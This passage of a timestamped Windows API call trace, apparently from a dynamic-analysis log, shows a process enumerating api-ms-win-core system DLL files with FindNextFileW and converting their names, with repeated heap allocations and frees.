hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.967] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.968] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.968] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.968] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.969] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x30c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.969] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x30c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.969] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x30c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.970] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x30c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.970] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0035.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x30c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.971] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x30c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.971] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.971] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.972] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: 